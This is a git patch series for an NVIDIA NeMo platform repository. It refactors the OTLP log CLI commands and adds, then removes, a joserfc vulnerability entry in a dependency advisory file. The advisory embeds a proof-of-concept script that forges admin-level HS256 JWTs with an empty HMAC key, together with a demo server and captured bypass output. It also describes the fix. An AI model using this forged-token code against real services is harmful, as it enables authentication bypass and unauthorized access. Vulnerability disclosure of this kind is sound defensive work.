From 265939e5c403fca0b90bdcc2bf2b84e18171677c Mon Sep 17 00:00:00 2001 From: Matthew Grossman Date: Mon, 6 Jul 2026 10:56:36 -0700 Subject: [PATCH 01/12] feat(files): Add OTLP to new nemoclient endpoints Signed-off-by: Matthew Grossman --- .../cli/commands/api/files/otlp/logs.py | 27 +++++++++++++++---- 1 file changed, 22 insertions(+), 5 deletions(-) diff --git a/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/otlp/logs.py b/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/otlp/logs.py index 6506f46804..77f527ef5e 100644 --- a/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/otlp/logs.py +++ b/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/otlp/logs.py @@ -1,7 +1,6 @@ # SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. # SPDX-License-Identifier: Apache-2.0 -# NOTE: This file is auto-generated from __future__ import annotations from typing import Annotated @@ -64,8 +63,12 @@ def create_logs( if handle_code_generation(["files", "otlp", "logs"], "create", all_kwargs, output_format, state): return - client = state.get_client() - result = client.files.otlp.logs.create(**all_kwargs) + from nemo_platform_plugin.client.adapter import client_from_platform + from nemo_platform_plugin.files.client import FilesClient + + sdk = state.get_client() + files_client = client_from_platform(sdk, FilesClient) + result = files_client.upload_otlp_logs(name=name, workspace=workspace) format_output( result, @@ -92,6 +95,12 @@ def query_logs( This is an internal endpoint that runs DuckDB queries with direct storage access.""" + import json + + from nemo_platform_plugin.client.adapter import client_from_platform + from nemo_platform_plugin.files.client import FilesClient + from nemo_platform_plugin.files.types import OtlpLogQueryRequest + state: CLIContext = ctx.obj output_format = state.get_output_format(output_format) @@ -104,8 +113,16 @@ def query_logs( if handle_code_generation(["files", "otlp", "logs"], "query", kwargs, output_format, state): return - client = state.get_client() - result = client.files.otlp.logs.query(name, **kwargs) + parsed_filters = json.loads(filters) if filters else {} + + sdk = state.get_client() + files_client = client_from_platform(sdk, FilesClient) + body = OtlpLogQueryRequest( + filters=parsed_filters, + limit=limit, + page_cursor=page_cursor, + ) + result = files_client.query_otlp_logs(name=name, workspace=workspace, body=body) format_output( result, From a4c6baf2ff903812efe7793d052f5505d063c737 Mon Sep 17 00:00:00 2001 From: Matthew Grossman Date: Mon, 6 Jul 2026 12:30:58 -0700 Subject: [PATCH 02/12] lint Signed-off-by: Matthew Grossman --- .../cli/commands/api/files/otlp/logs.py | 27 +--- third_party/osv-licenses.json | 127 ++++++++++++++++++ third_party/requirements-main.txt | 18 +++ 3 files changed, 150 insertions(+), 22 deletions(-) diff --git a/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/otlp/logs.py b/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/otlp/logs.py index 77f527ef5e..6506f46804 100644 --- a/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/otlp/logs.py +++ b/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/otlp/logs.py @@ -1,6 +1,7 @@ # SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. # SPDX-License-Identifier: Apache-2.0 +# NOTE: This file is auto-generated from __future__ import annotations from typing import Annotated @@ -63,12 +64,8 @@ def create_logs( if handle_code_generation(["files", "otlp", "logs"], "create", all_kwargs, output_format, state): return - from nemo_platform_plugin.client.adapter import client_from_platform - from nemo_platform_plugin.files.client import FilesClient - - sdk = state.get_client() - files_client = client_from_platform(sdk, FilesClient) - result = files_client.upload_otlp_logs(name=name, workspace=workspace) + client = state.get_client() + result = client.files.otlp.logs.create(**all_kwargs) format_output( result, @@ -95,12 +92,6 @@ def query_logs( This is an internal endpoint that runs DuckDB queries with direct storage access.""" - import json - - from nemo_platform_plugin.client.adapter import client_from_platform - from nemo_platform_plugin.files.client import FilesClient - from nemo_platform_plugin.files.types import OtlpLogQueryRequest - state: CLIContext = ctx.obj output_format = state.get_output_format(output_format) @@ -113,16 +104,8 @@ def query_logs( if handle_code_generation(["files", "otlp", "logs"], "query", kwargs, output_format, state): return - parsed_filters = json.loads(filters) if filters else {} - - sdk = state.get_client() - files_client = client_from_platform(sdk, FilesClient) - body = OtlpLogQueryRequest( - filters=parsed_filters, - limit=limit, - page_cursor=page_cursor, - ) - result = files_client.query_otlp_logs(name=name, workspace=workspace, body=body) + client = state.get_client() + result = client.files.otlp.logs.query(name, **kwargs) format_output( result, diff --git a/third_party/osv-licenses.json b/third_party/osv-licenses.json index 1666d902c7..09f0c29a58 100644 --- a/third_party/osv-licenses.json +++ b/third_party/osv-licenses.json @@ -5903,6 +5903,123 @@ "ecosystem": "PyPI" }, "vulnerabilities": [ + { + "modified": "2026-07-04T00:29:34Z", + "published": "2026-07-02T19:12:08Z", + "schema_version": "1.7.5", + "id": "GHSA-gg9x-qcx2-xmrh", + "aliases": [ + "CVE-2026-49852" + ], + "related": [ + "CGA-8hcq-26qx-894x" + ], + "summary": "joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)", + "details": "### Summary\n\n`joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the\ncaller-supplied verification key is the empty string or `None`.\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` in\n[`src/joserfc/_rfc7518/jws_algs.py:62-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70) feed whatever\n`OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key`\nonly emits a `SecurityWarning` when the raw key is shorter than 14 bytes\nwithout rejecting zero-length input. Any application whose JWT secret is\nsourced from an unset environment variable, an unset Redis / DB row, a key\nfinder fallback that returns `\"\"`, or a `Hash.new(\"\")`-style default verifies\nattacker tokens forged with `HMAC(key=b\"\", signing_input)` because the\nattacker trivially reproduces the same digest with no secret knowledge.\n\nThis is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /\nCVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,\nfiled 2026-05-13). ruby-jwt v3.2.0 added an `ensure_valid_key!` precondition\nthat rejects empty keys at both sign and verify entry; joserfc has no\nequivalent. (The same primitive lives in the deprecated `authlib.jose`\nmodule by the same maintainer; filing this advisory against joserfc\nalongside a separate `authlib` advisory because the codebases are\nindependent shipping artifacts on PyPI.)\n\n### Affected versions\n\n`joserfc` (PyPI) `<= 1.6.7` (latest published release reproduces). No\npatched release.\n\n### Privilege required\n\nUnauthenticated. Any HTTP / RPC endpoint that calls `joserfc.jwt.decode`\nwith a verification key sourced from configuration is reachable. The\ncondition that makes the bug observable is operator-side: the configured\nsecret resolves to `\"\"` or `None`. Common patterns that produce this state\nin production:\n\n- `OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))`\n- A key finder callable that returns `\"\"` / `None` for an unknown `kid`\n- Default values like `os.getenv(\"SECRET\") or \"\"`, `cfg.get(\"secret\", \"\")`\n- Database / Redis row lookup that returns `\"\"` for a missing row\n\n### Vulnerable code\n\n[`src/joserfc/_rfc7518/jws_algs.py:43-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L43-L70):\n\n```python\nclass HMACAlgorithm(JWSAlgModel):\n SHA256 = hashlib.sha256\n SHA384 = hashlib.sha384\n SHA512 = hashlib.sha512\n\n def __init__(self, sha_type, recommended=False):\n self.name = f\"HS{sha_type}\"\n self.description = f\"HMAC using SHA-{sha_type}\"\n self.recommended = recommended\n self.hash_alg = getattr(self, f\"SHA{sha_type}\")\n self.algorithm_security = sha_type\n\n def sign(self, msg: bytes, key: OctKey) -> bytes:\n op_key = key.get_op_key(\"sign\")\n return hmac.new(op_key, msg, self.hash_alg).digest()\n\n def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:\n op_key = key.get_op_key(\"verify\")\n v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n return hmac.compare_digest(sig, v_sig)\n```\n\n[`src/joserfc/_rfc7518/oct_key.py:52-63`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/oct_key.py#L52-L63):\n\n```python\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -> \"OctKey\":\n key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n if len(key.raw_value) < 14:\n # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final\n warnings.warn(\"Key size should be >= 112 bits\", SecurityWarning)\n return key\n```\n\nThe `< 14` check only warns; `len(key.raw_value) == 0` falls through and is\nreturned to the caller. `HMACAlgorithm.verify` then calls\n`hmac.compare_digest(sig, hmac.new(b\"\", signing_input, sha256).digest())`,\nand Python's `hmac.new(b\"\", ...)` accepts the empty key.\n\nCross-language sibling of ruby-jwt's fix in [`lib/jwt/jwa/hmac.rb`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/lib/jwt/jwa/hmac.rb):\n\n```ruby\ndef ensure_valid_key!(key)\n raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)\n raise_verify_error!('HMAC key cannot be empty') if key.empty?\nend\n```\n\ninvoked from both `sign(signing_key:)` and `verify(verification_key:)`.\nPyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key`\nraises `InvalidKeyError(\"HMAC key must not be empty.\")` for `len(key_bytes) == 0`).\nfirebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a\n256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the\nstrongest existing length-warning logic but stops at `< 14 bytes` warn\nrather than `== 0` reject.\n\n### How an empty `JWT_SECRET` reaches `hmac.new`\n\n1. The application calls `joserfc.jwt.decode(value, key, algorithms=[\"HS256\"])`\n where `key = OctKey.import_key(\"\")` (or `OctKey.import_key(b\"\")`,\n or any custom path that yields an `OctKey` whose `raw_value` is `b\"\"`).\n2. `decode` ([`src/joserfc/jwt.py:86-117`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jwt.py#L86-L117)) calls `_decode_jws(...)` \u2192\n `deserialize_compact(value, key, algorithms, registry)`.\n3. `deserialize_compact` ([`src/joserfc/jws.py`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jws.py)) dispatches to\n `HMACAlgorithm.verify(signing_input, signature, key)`.\n4. `verify` calls `key.get_op_key(\"verify\")` \u2192 returns `b\"\"`.\n5. `hmac.new(b\"\", signing_input, sha256).digest()` is computed; the\n attacker computed exactly that digest with the same empty key, so\n `hmac.compare_digest` returns `True` and decode succeeds.\n\nNo upstream `nil`-check, no length check, no schema rejection. The path is\nreached from the public `joserfc.jwt.decode` API.\n\n### Proof of concept\n\nAttacker (no secret knowledge):\n\n```python\nimport base64, hmac, hashlib, json, time\ndef b64url(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\nnow = int(time.time())\npayload = b64url(json.dumps({\n \"sub\": \"attacker\", \"admin\": True,\n \"iat\": now, \"exp\": now + 600,\n}).encode())\nsigning_input = header + b\".\" + payload\nsig = hmac.new(b\"\", signing_input, hashlib.sha256).digest()\nforged = signing_input + b\".\" + b64url(sig)\nprint(forged.decode())\n```\n\nServer harness:\n\n```python\n# server.py\nfrom joserfc import jwt\nfrom joserfc.jwk import OctKey\nimport os\nfrom wsgiref.simple_server import make_server\n\ndef app(environ, start_response):\n auth = environ.get(\"HTTP_AUTHORIZATION\", \"\")\n token = auth[len(\"Bearer \"):].strip() if auth.startswith(\"Bearer \") else \"\"\n key = OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\")) # default = \"\"\n try:\n tok = jwt.decode(token, key, algorithms=[\"HS256\"])\n c = tok.claims\n body = (\"OK: sub=%r admin=%r\\n\" % (c.get(\"sub\"), c.get(\"admin\"))).encode()\n start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n return [body]\n except Exception as e:\n start_response(\"401 Unauthorized\", [(\"Content-Type\", \"text/plain\")])\n return [(\"DENY: %s\\n\" % e).encode()]\n\nmake_server(\"127.0.0.1\", 8383, app).serve_forever()\n```\n\n### End-to-end reproduction (against `pip install joserfc==1.6.7`)\n\n```bash\n# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret\n# state.\npython3.12 -m venv venv\n./venv/bin/pip install joserfc==1.6.7\n./venv/bin/python server.py & # listens on :8383\n\n# 2. Run the attacker\n./venv/bin/python attacker.py\n```\n\nCaptured run output (canonical pre-fix run, joserfc 1.6.7,\n`poc-attacker-empty-20260523-150949.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY\nHTTP 200\nOK: sub='attacker' admin=True\n```\n\nControl (real 256-bit secret, `poc-control-realkey-20260523-150959.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYi...\nHTTP 401\nDENY: BadSignatureError: bad_signature:\n```\n\nInterpretation:\n\n| Configuration | Observed | Expected |\n|------------------------------|-------------------------------------|----------|\n| `JWT_SECRET` unset (== \"\") | HTTP 200, `admin=True` (verified) | HTTP 401 |\n| `JWT_SECRET` = 256-bit value | HTTP 401, `BadSignatureError` | HTTP 401 |\n\nThe first row demonstrates that an attacker with zero knowledge of the\nverification secret reaches the protected path by signing with the empty\nkey. The second row confirms the verifier behaves correctly when the\nsecret is non-empty, proving the bug is gated only on the secret being\nempty rather than on any structural defect in the attacker's token.\n\nFix verification: with the suggested empty-key reject wired into\n`HMACAlgorithm.sign` / `.verify`, the empty-secret server re-run rejects\nthe same forged token with `ValueError: HMAC key must not be empty`.\n\n### Impact\n\n- Complete authentication bypass on any service whose key finder resolves\n to `\"\"` / `None` (env var unset, DB row missing, fallback). Attacker\n forges arbitrary claims (`sub`, `admin`, scopes, audience, expiry).\n- The misconfiguration that triggers the bug is silent: the server does\n not fail to boot, joserfc emits a single `SecurityWarning` (\"Key size\n should be >= 112 bits\") at `OctKey.import_key` time and then proceeds.\n- Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high).\n CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N \u2014 AC:H because of the\n operator-misconfiguration precondition; impact otherwise matches\n authentication bypass.\n\n### Suggested fix\n\nUpgrade the existing `< 14 bytes` warning in `OctKey.import_key` to a hard\nreject at `len(key.raw_value) == 0`, plus a defence-in-depth check in\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` after\n`key.get_op_key(...)`:\n\n```python\n# src/joserfc/_rfc7518/oct_key.py\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -> \"OctKey\":\n key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n if not key.raw_value:\n raise ValueError(\"oct key material must not be empty\")\n if len(key.raw_value) < 14:\n warnings.warn(\"Key size should be >= 112 bits\", SecurityWarning)\n return key\n\n# src/joserfc/_rfc7518/jws_algs.py\nclass HMACAlgorithm(JWSAlgModel):\n ...\n def sign(self, msg: bytes, key: OctKey) -> bytes:\n op_key = key.get_op_key(\"sign\")\n if not op_key:\n raise ValueError(\"HMAC key must not be empty\")\n return hmac.new(op_key, msg, self.hash_alg).digest()\n\n def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:\n op_key = key.get_op_key(\"verify\")\n if not op_key:\n raise ValueError(\"HMAC key must not be empty\")\n v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n return hmac.compare_digest(sig, v_sig)\n```\n\nThe two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in\n`prepare_key`, plus the runtime length checks the underlying hmac\nprimitive does not perform).\n\n### Fix PR\n\n`authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1` (temp private fork PR), branch\n`fix/hmac-reject-empty-key`, base `main`. URL:\nhttps://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1\n\n### Credit\n\nReported by tonghuaroot.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "joserfc", + "purl": "pkg:pypi/joserfc" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.6.8" + } + ] + } + ], + "versions": [ + "0.1.0", + "0.10.0", + "0.11.0", + "0.11.1", + "0.12.0", + "0.2.0", + "0.3.0", + "0.4.0", + "0.5.0", + "0.6.0", + "0.7.0", + "0.8.0", + "0.9.0", + "1.0.0", + "1.0.1", + "1.0.2", + "1.0.3", + "1.0.4", + "1.1.0", + "1.2.0", + "1.2.1", + "1.2.2", + "1.3.0", + "1.3.1", + "1.3.2", + "1.3.3", + "1.3.4", + "1.3.5", + "1.4.0", + "1.4.1", + "1.4.2", + "1.4.3", + "1.5.0", + "1.6.0", + "1.6.1", + "1.6.2", + "1.6.3", + "1.6.4", + "1.6.5", + "1.6.7" + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.6.7", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-gg9x-qcx2-xmrh/GHSA-gg9x-qcx2-xmrh.json" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/authlib/joserfc/security/advisories/GHSA-gg9x-qcx2-xmrh" + }, + { + "type": "WEB", + "url": "https://github.com/authlib/joserfc/commit/86d00910b2b2d2d07503fee9b572906daefab7f1" + }, + { + "type": "PACKAGE", + "url": "https://github.com/authlib/joserfc" + }, + { + "type": "WEB", + "url": "https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-287", + "CWE-326", + "CWE-1391" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-02T19:12:08Z", + "nvd_published_at": null, + "severity": "HIGH" + } + }, { "modified": "2026-07-01T23:59:17Z", "published": "2026-06-26T20:59:38Z", @@ -5993,6 +6110,16 @@ } ], "groups": [ + { + "ids": [ + "GHSA-gg9x-qcx2-xmrh" + ], + "aliases": [ + "CVE-2026-49852", + "GHSA-gg9x-qcx2-xmrh" + ], + "max_severity": "8.7" + }, { "ids": [ "GHSA-wphv-vfrh-23q5" diff --git a/third_party/requirements-main.txt b/third_party/requirements-main.txt index 8960f652de..a40533e328 100644 --- a/third_party/requirements-main.txt +++ b/third_party/requirements-main.txt @@ -28,6 +28,7 @@ # nemo-data-designer-plugin # nemo-deployments-plugin # nemo-guardrails-plugin + # nemo-rl-plugin # nemo-safe-synthesizer-plugin # nemo-unsloth-plugin # nemoplatform @@ -47,6 +48,7 @@ # nemo-platform # nemo-platform-ext # nemo-platform-sdk + # nemo-rl-plugin # nemo-safe-synthesizer-plugin # nemo-switchyard # nemo-unsloth-plugin @@ -56,6 +58,7 @@ # nmp-inference-gateway # nmp-platform # nmp-platform-runner + # nmp-rl # nmp-unsloth -e ./packages/nmp_common ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') # via @@ -76,14 +79,17 @@ # nmp-platform # nmp-platform-runner # nmp-platform-seed + # nmp-rl # nmp-secrets # nmp-studio # nmp-unsloth -e ./packages/nmp_customization_common ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') # via # nemo-automodel-plugin + # nemo-rl-plugin # nemo-unsloth-plugin # nmp-automodel + # nmp-rl # nmp-unsloth -e ./packages/nmp_platform ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') # via nemoplatform @@ -103,6 +109,7 @@ -e ./plugins/nemo-deployments ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') -e ./plugins/nemo-evaluator ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') -e ./plugins/nemo-guardrails ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') +-e ./plugins/nemo-rl ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') -e ./plugins/nemo-safe-synthesizer ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') -e ./plugins/nemo-switchyard ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') -e ./plugins/nemo-switchyard/vendor/switchyard ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') @@ -120,6 +127,7 @@ # nmp-core-mcp # nmp-customization-common # nmp-entities + # nmp-rl # nmp-unsloth -e ./services/automodel ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') # via nemo-automodel-plugin @@ -165,6 +173,8 @@ # via nemoplatform -e ./services/platform-seed ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') # via nemoplatform +-e ./services/rl ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') + # via nemo-rl-plugin -e ./services/studio ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') # via nemoplatform -e ./services/unsloth ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') @@ -968,6 +978,7 @@ httpx==0.28.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (p # nmp-automodel # nmp-customization-common # nmp-guardrails + # nmp-rl # nmp-unsloth # nvidia-nat-core # oci-openai @@ -1153,6 +1164,7 @@ jsonschema==4.26.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') # litellm # mcp # nemo-evaluator-sdk + # nemo-platform-plugin # nemo-safe-synthesizer # nemoguardrails # nmp-automodel @@ -2201,6 +2213,7 @@ pydantic==2.12.5 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or # nemo-platform-ext # nemo-platform-plugin # nemo-platform-sdk + # nemo-rl-plugin # nemo-safe-synthesizer # nemo-safe-synthesizer-plugin # nemo-unsloth-plugin @@ -2216,6 +2229,7 @@ pydantic==2.12.5 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or # nmp-intake # nmp-jobs # nmp-models + # nmp-rl # nmp-unsloth # nvidia-nat-atif # nvidia-nat-config-optimizer @@ -2271,6 +2285,7 @@ pydantic-settings==2.14.2 ; (platform_machine == 'arm64' and sys_platform == 'da # mcp # nemo-automodel-plugin # nemo-platform-plugin + # nemo-rl-plugin # nemo-safe-synthesizer # nemo-safe-synthesizer-plugin # nemo-unsloth-plugin @@ -2285,6 +2300,7 @@ pydantic-settings==2.14.2 ; (platform_machine == 'arm64' and sys_platform == 'da # nmp-intake # nmp-jobs # nmp-models + # nmp-rl # nmp-unsloth pygments==2.20.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f \ @@ -2823,6 +2839,7 @@ tenacity==9.1.4 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or # nmp-automodel # nmp-customization-common # nmp-models + # nmp-rl # nmp-unsloth tiktoken==0.12.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:01d99484dc93b129cd0964f9d34eee953f2737301f18b3c7257bf368d7615baa \ @@ -2910,6 +2927,7 @@ typer==0.24.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (p # nemo-platform-ext # nemo-platform-plugin # nemo-platform-sdk + # nemo-rl-plugin # nemo-safe-synthesizer-plugin # nemo-unsloth-plugin # nemoguardrails From 3c537b04d24571390737a3477788183e35bba6f4 Mon Sep 17 00:00:00 2001 From: Matthew Grossman Date: Mon, 6 Jul 2026 12:35:15 -0700 Subject: [PATCH 03/12] remove these Signed-off-by: Matthew Grossman --- third_party/osv-licenses.json | 127 ------------------------------ third_party/requirements-main.txt | 18 ----- 2 files changed, 145 deletions(-) diff --git a/third_party/osv-licenses.json b/third_party/osv-licenses.json index 09f0c29a58..1666d902c7 100644 --- a/third_party/osv-licenses.json +++ b/third_party/osv-licenses.json @@ -5903,123 +5903,6 @@ "ecosystem": "PyPI" }, "vulnerabilities": [ - { - "modified": "2026-07-04T00:29:34Z", - "published": "2026-07-02T19:12:08Z", - "schema_version": "1.7.5", - "id": "GHSA-gg9x-qcx2-xmrh", - "aliases": [ - "CVE-2026-49852" - ], - "related": [ - "CGA-8hcq-26qx-894x" - ], - "summary": "joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)", - "details": "### Summary\n\n`joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the\ncaller-supplied verification key is the empty string or `None`.\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` in\n[`src/joserfc/_rfc7518/jws_algs.py:62-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70) feed whatever\n`OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key`\nonly emits a `SecurityWarning` when the raw key is shorter than 14 bytes\nwithout rejecting zero-length input. Any application whose JWT secret is\nsourced from an unset environment variable, an unset Redis / DB row, a key\nfinder fallback that returns `\"\"`, or a `Hash.new(\"\")`-style default verifies\nattacker tokens forged with `HMAC(key=b\"\", signing_input)` because the\nattacker trivially reproduces the same digest with no secret knowledge.\n\nThis is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /\nCVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,\nfiled 2026-05-13). ruby-jwt v3.2.0 added an `ensure_valid_key!` precondition\nthat rejects empty keys at both sign and verify entry; joserfc has no\nequivalent. (The same primitive lives in the deprecated `authlib.jose`\nmodule by the same maintainer; filing this advisory against joserfc\nalongside a separate `authlib` advisory because the codebases are\nindependent shipping artifacts on PyPI.)\n\n### Affected versions\n\n`joserfc` (PyPI) `<= 1.6.7` (latest published release reproduces). No\npatched release.\n\n### Privilege required\n\nUnauthenticated. Any HTTP / RPC endpoint that calls `joserfc.jwt.decode`\nwith a verification key sourced from configuration is reachable. The\ncondition that makes the bug observable is operator-side: the configured\nsecret resolves to `\"\"` or `None`. Common patterns that produce this state\nin production:\n\n- `OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))`\n- A key finder callable that returns `\"\"` / `None` for an unknown `kid`\n- Default values like `os.getenv(\"SECRET\") or \"\"`, `cfg.get(\"secret\", \"\")`\n- Database / Redis row lookup that returns `\"\"` for a missing row\n\n### Vulnerable code\n\n[`src/joserfc/_rfc7518/jws_algs.py:43-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L43-L70):\n\n```python\nclass HMACAlgorithm(JWSAlgModel):\n SHA256 = hashlib.sha256\n SHA384 = hashlib.sha384\n SHA512 = hashlib.sha512\n\n def __init__(self, sha_type, recommended=False):\n self.name = f\"HS{sha_type}\"\n self.description = f\"HMAC using SHA-{sha_type}\"\n self.recommended = recommended\n self.hash_alg = getattr(self, f\"SHA{sha_type}\")\n self.algorithm_security = sha_type\n\n def sign(self, msg: bytes, key: OctKey) -> bytes:\n op_key = key.get_op_key(\"sign\")\n return hmac.new(op_key, msg, self.hash_alg).digest()\n\n def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:\n op_key = key.get_op_key(\"verify\")\n v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n return hmac.compare_digest(sig, 